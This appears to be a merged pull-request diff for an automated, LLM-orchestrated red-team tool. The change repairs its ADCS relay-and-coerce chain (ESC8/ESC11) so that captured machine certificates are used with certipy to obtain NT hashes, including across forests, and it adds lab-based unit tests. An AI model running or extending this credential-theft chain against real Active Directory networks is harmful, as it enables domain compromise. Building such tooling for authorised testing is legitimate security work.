Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion ares-cli/src/ops/replay.rs
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
//! `ares ops replay` — rebuild a point-in-time state snapshot from the
//! JetStream `ARES_OPSTATE` event log. Phase 5 forensics tooling.
//! JetStream `ARES_OPSTATE` event log.

use anyhow::{Context, Result};
use chrono::{DateTime, Utc};
Expand Down
346 changes: 329 additions & 17 deletions ares-cli/src/orchestrator/automation/adcs_exploitation.rs
Original file line number Diff line number Diff line change
Expand Up @@ -129,6 +129,107 @@ pub(crate) fn build_relay_coerce_args(
v
}

/// Build the `certipy_auth` arguments JSON for the second phase of the
/// relay chain (after a PFX has been captured). Pure so the keying stays
/// pinned by a unit test — the tool requires `pfx_path` (not `pfx`),
/// `dc_ip`, and `domain`; a one-letter drift here silently fails the whole
/// chain because `required_str` returns an error before certipy spawns.
pub(crate) fn build_certipy_auth_args(
pfx_path: &str,
relayed_user: Option<&str>,
domain: &str,
ca_host: &str,
) -> serde_json::Value {
let mut v = serde_json::json!({ "pfx_path": pfx_path });
if let Some(u) = relayed_user {
// Strip trailing `$` (impacket's relay output ends machine account
// names with `$`); certipy_auth wants the bare SAM name.
v["username"] = serde_json::Value::String(u.trim_end_matches('$').to_string());
}
if !domain.is_empty() {
v["domain"] = serde_json::Value::String(domain.to_string());
}
if !ca_host.is_empty() {
// certipy_auth uses dc-ip for the KDC lookup; the CA host is also
// a viable target since the coerced victim is a DC and its KDC
// sits on the same host. Same for ESC11 — the RPC ICPR victim is
// the CA, and its KDC is co-located.
v["dc_ip"] = serde_json::Value::String(ca_host.to_string());
}
v
}

/// Resolve the realm + KDC IP that `certipy_auth` should target for a
/// captured cert. In cross-forest ESC8 relays the relayed account lives in
/// a *different* forest than the CA's domain — the discovered vuln record
/// carries the CA's domain, not the relayed account's. Authenticating
/// with the cert against the wrong realm/KDC produces
/// `KDC_ERR_S_PRINCIPAL_UNKNOWN`.
///
/// The relayed machine is whatever IP we coerced from, so its host record
/// (looked up by IP, then by hostname stem as a fallback) carries the
/// correct home domain. The KDC for that home domain comes from
/// `state.domain_controllers`. Caller passes the vuln-record domain/CA
/// host as fallbacks; those win only when the host lookup turns up empty,
/// preserving the same-forest behavior the chain shipped with.
pub(crate) fn resolve_relayed_account_realm(
state: &StateInner,
coerce_target_ip: &str,
relayed_user: Option<&str>,
fallback_domain: &str,
fallback_dc_ip: &str,
) -> (String, String) {
// `Host` carries the domain in its FQDN hostname (e.g.
// `dc01.contoso.local`), not in a dedicated field. Pull the suffix.
let domain_from_fqdn = |hostname: &str| -> Option<String> {
let (_, tail) = hostname.split_once('.')?;
if tail.is_empty() {
return None;
}
Some(tail.to_lowercase())
};
let dc_for = |domain: &str| -> Option<String> {
state
.domain_controllers
.get(&domain.to_lowercase())
.cloned()
};

// Match by coerce IP first — the relayed machine account is the host
// that authenticated to our listener, which is the IP we coerced.
if let Some(host) = state.hosts.iter().find(|h| h.ip == coerce_target_ip) {
if let Some(domain) = domain_from_fqdn(&host.hostname) {
let dc_ip = dc_for(&domain).unwrap_or_else(|| fallback_dc_ip.to_string());
return (domain, dc_ip);
}
}

// Fallback: match by hostname stem (strip `$` from the relayed user).
// Useful when state.hosts has the machine indexed by hostname but the
// IP doesn't match (e.g. NAT, second NIC, or a host entry created
// from LDAP without an IP yet).
if let Some(u) = relayed_user {
let stem = u.trim_end_matches('$').to_lowercase();
if !stem.is_empty() {
let hit = state.hosts.iter().find(|h| {
h.hostname
.to_lowercase()
.split('.')
.next()
.is_some_and(|s| s == stem)
});
if let Some(host) = hit {
if let Some(domain) = domain_from_fqdn(&host.hostname) {
let dc_ip = dc_for(&domain).unwrap_or_else(|| fallback_dc_ip.to_string());
return (domain, dc_ip);
}
}
}
}

(fallback_domain.to_string(), fallback_dc_ip.to_string())
}

/// Distinguishes the two coercion-based ADCS exploitation paths that share
/// the `relay_and_coerce` composite tool. Differences are isolated to:
/// (a) the ntlmrelayx target URL — HTTP web enrollment vs RPC ICPR;
Expand Down Expand Up @@ -1225,6 +1326,7 @@ async fn dispatch_relay_coerce_chain(
// the next tick retry.
let mut pfx_path: Option<String> = None;
let mut relayed_user: Option<String> = None;
let mut successful_coerce_target: Option<String> = None;
let mut last_summary = String::new();
let mut bind_busy = false;
let mut last_task_id = String::new();
Expand Down Expand Up @@ -1300,6 +1402,7 @@ async fn dispatch_relay_coerce_chain(
if let Some(p) = parsed.pfx_path {
pfx_path = Some(p);
relayed_user = parsed.relayed_user;
successful_coerce_target = Some(coerce_target.clone());
info!(
vuln_id = %vuln_id_bg,
esc_type = esc_label,
Expand Down Expand Up @@ -1363,23 +1466,30 @@ async fn dispatch_relay_coerce_chain(

// Phase 2: certipy auth -pfx <path> -> NT hash for the relayed user.
// The auth produces a Hash discovery via the certipy_auth parser.
let mut auth_args = serde_json::json!({ "pfx": pfx_path });
if let Some(ref u) = relayed_user {
// Strip trailing `$` (impacket's relay output ends machine
// account names with `$`); certipy_auth wants the bare SAM name.
auth_args["username"] = serde_json::Value::String(u.trim_end_matches('$').to_string());
}
if !domain_bg.is_empty() {
auth_args["domain"] = serde_json::Value::String(domain_bg.clone());
}
if !ca_host_bg.is_empty() {
// certipy_auth uses dc-ip for the KDC lookup; the CA host is
// also a viable target since the coerced victim is a DC and
// its KDC sits on the same host. Caller can override via
// payload if a separate dc_ip is known. Same for ESC11 — the
// RPC ICPR victim is the CA, and its KDC is co-located.
auth_args["dc_ip"] = serde_json::Value::String(ca_host_bg.clone());
}
//
// The relayed account's realm can differ from the vuln record's
// domain (cross-forest ESC8 — a machine in forest A relayed to a
// CA in forest B via trust). Resolve the home realm + KDC from
// state.hosts/domain_controllers so certipy_auth doesn't PKINIT
// against the wrong KDC and bail with
// KDC_ERR_S_PRINCIPAL_UNKNOWN.
let coerce_ip_for_lookup = successful_coerce_target.as_deref().unwrap_or("");
let (auth_domain, auth_dc_ip) = {
let state = dispatcher_bg.state.read().await;
resolve_relayed_account_realm(
&state,
coerce_ip_for_lookup,
relayed_user.as_deref(),
&domain_bg,
&ca_host_bg,
)
};
let auth_args = build_certipy_auth_args(
&pfx_path,
relayed_user.as_deref(),
&auth_domain,
&auth_dc_ip,
);

let auth_call = ares_llm::ToolCall {
id: format!("certipy_auth_{}", uuid::Uuid::new_v4().simple()),
Expand Down Expand Up @@ -3267,6 +3377,208 @@ RELAYED_USER=DC01$
assert_eq!(args["relay_target_url"], "rpc://192.168.58.50");
}

// --- build_certipy_auth_args ----------------------------------------

#[test]
fn build_certipy_auth_args_uses_pfx_path_not_pfx() {
// Regression: the relay chain previously emitted `"pfx"` while the
// tool (`ares_tools::privesc::certipy_auth`) reads `"pfx_path"` via
// `required_str`. Captured machine-account certs were silently
// dropped before certipy ever spawned. Pin the keying here so any
// future drift fails CI instead of the next op.
let args = super::build_certipy_auth_args(
"/tmp/ares_relay_xxx/DC01.pfx",
Some("DC01$"),
"contoso.local",
"192.168.58.240",
);
assert_eq!(args["pfx_path"], "/tmp/ares_relay_xxx/DC01.pfx");
assert!(
args.get("pfx").is_none(),
"must not emit legacy 'pfx' key — tool requires 'pfx_path'"
);
// SAM-name strip: the trailing `$` from impacket relay output is
// removed before being passed as `username`.
assert_eq!(args["username"], "DC01");
assert_eq!(args["domain"], "contoso.local");
assert_eq!(args["dc_ip"], "192.168.58.240");
}

#[test]
fn build_certipy_auth_args_omits_optional_fields_when_empty() {
// domain="" / ca_host="" / relayed_user=None must not leak empty
// strings into the JSON — certipy rejects empty `-domain ''` and
// the tool registry would mark those as missing required args.
let args = super::build_certipy_auth_args("/tmp/x.pfx", None, "", "");
assert_eq!(args["pfx_path"], "/tmp/x.pfx");
assert!(args.get("username").is_none());
assert!(args.get("domain").is_none());
assert!(args.get("dc_ip").is_none());
}

#[test]
fn build_certipy_auth_args_covers_tool_required_keys() {
// Cross-check against the schema in
// `ares-llm/src/tool_registry/privesc/adcs.rs` — required = [domain,
// dc_ip, pfx_path]. If the schema changes the asserts here must
// change too, on purpose.
let args = super::build_certipy_auth_args(
"/tmp/x.pfx",
Some("ws01$"),
"contoso.local",
"192.168.58.240",
);
for required in ["pfx_path", "dc_ip", "domain"] {
assert!(
args.get(required).is_some(),
"certipy_auth schema requires '{required}', but build_certipy_auth_args omitted it"
);
}
}

// --- resolve_relayed_account_realm ---------------------------------

use crate::orchestrator::state::StateInner;
use ares_core::models::Host;

fn host(ip: &str, hostname: &str) -> Host {
Host {
ip: ip.into(),
hostname: hostname.into(),
os: String::new(),
roles: Vec::new(),
services: Vec::new(),
is_dc: false,
owned: false,
}
}

#[test]
fn resolve_realm_prefers_coerce_ip_match() {
// Cross-forest ESC8: vuln record's domain (the CA's forest) is
// *not* the relayed account's home realm. The coerce IP belongs
// to a host in the *other* forest, and that's the realm
// certipy_auth has to target.
let mut state = StateInner::new("op".into());
state
.hosts
.push(host("192.168.58.58", "dc02.fabrikam.local"));
state
.domain_controllers
.insert("fabrikam.local".into(), "192.168.58.58".into());

let (domain, dc_ip) = super::resolve_relayed_account_realm(
&state,
"192.168.58.58",
Some("DC02$"),
"contoso.local", // vuln-record (CA) domain — wrong for auth
"192.168.58.50", // vuln-record CA host — wrong KDC
);
assert_eq!(domain, "fabrikam.local");
assert_eq!(dc_ip, "192.168.58.58");
}

#[test]
fn resolve_realm_falls_back_to_hostname_stem() {
// No coerce-IP match (e.g. NAT mapped IP), but the host record
// exists indexed by hostname — strip the trailing `$` and look up
// by stem.
let mut state = StateInner::new("op".into());
state
.hosts
.push(host("192.168.58.10", "ws01.contoso.local"));
state
.domain_controllers
.insert("contoso.local".into(), "192.168.58.240".into());

let (domain, dc_ip) = super::resolve_relayed_account_realm(
&state,
"192.168.58.99", // does not match any host IP in 58.x lab
Some("WS01$"),
"fabrikam.local",
"192.168.58.50",
);
assert_eq!(domain, "contoso.local");
assert_eq!(dc_ip, "192.168.58.240");
}

#[test]
fn resolve_realm_returns_fallbacks_when_no_host_data() {
// No matching host, no relayed_user — preserve existing behavior
// (use the vuln-record domain + CA host as before).
let state = StateInner::new("op".into());
let (domain, dc_ip) = super::resolve_relayed_account_realm(
&state,
"192.168.58.58",
None,
"contoso.local",
"192.168.58.50",
);
assert_eq!(domain, "contoso.local");
assert_eq!(dc_ip, "192.168.58.50");
}

#[test]
fn resolve_realm_falls_back_when_host_hostname_has_no_fqdn() {
// Short hostname (no FQDN suffix) means we can't derive a domain —
// use the caller-supplied fallback.
let mut state = StateInner::new("op".into());
state.hosts.push(host("192.168.58.58", "dc02"));

let (domain, dc_ip) = super::resolve_relayed_account_realm(
&state,
"192.168.58.58",
Some("DC02$"),
"contoso.local",
"192.168.58.50",
);
assert_eq!(domain, "contoso.local");
assert_eq!(dc_ip, "192.168.58.50");
}

#[test]
fn resolve_realm_uses_fallback_dc_when_domain_not_in_dc_map() {
// Host record exists with a derivable domain, but
// `domain_controllers` has no entry for it — fall back to the CA
// host as the KDC (caller's `fallback_dc_ip`). The home domain is
// still preferred over the vuln record's domain.
let mut state = StateInner::new("op".into());
state
.hosts
.push(host("192.168.58.58", "dc02.fabrikam.local"));
// No fabrikam.local entry in domain_controllers.

let (domain, dc_ip) = super::resolve_relayed_account_realm(
&state,
"192.168.58.58",
Some("DC02$"),
"contoso.local",
"192.168.58.50",
);
assert_eq!(domain, "fabrikam.local");
assert_eq!(dc_ip, "192.168.58.50");
}

#[test]
fn resolve_realm_relayed_user_is_case_insensitive() {
let mut state = StateInner::new("op".into());
state
.hosts
.push(host("192.168.58.10", "ws01.contoso.local"));
state
.domain_controllers
.insert("contoso.local".into(), "192.168.58.240".into());

let (domain, _) = super::resolve_relayed_account_realm(
&state,
"192.168.58.99",
Some("ws01$"),
"fabrikam.local",
"192.168.58.50",
);
assert_eq!(domain, "contoso.local");
}

#[test]
fn relay_mode_esc8_default_url_is_none() {
// RelayMode::Esc8Http preserves the ESC8 default — the tool layer
Expand Down
Loading
Loading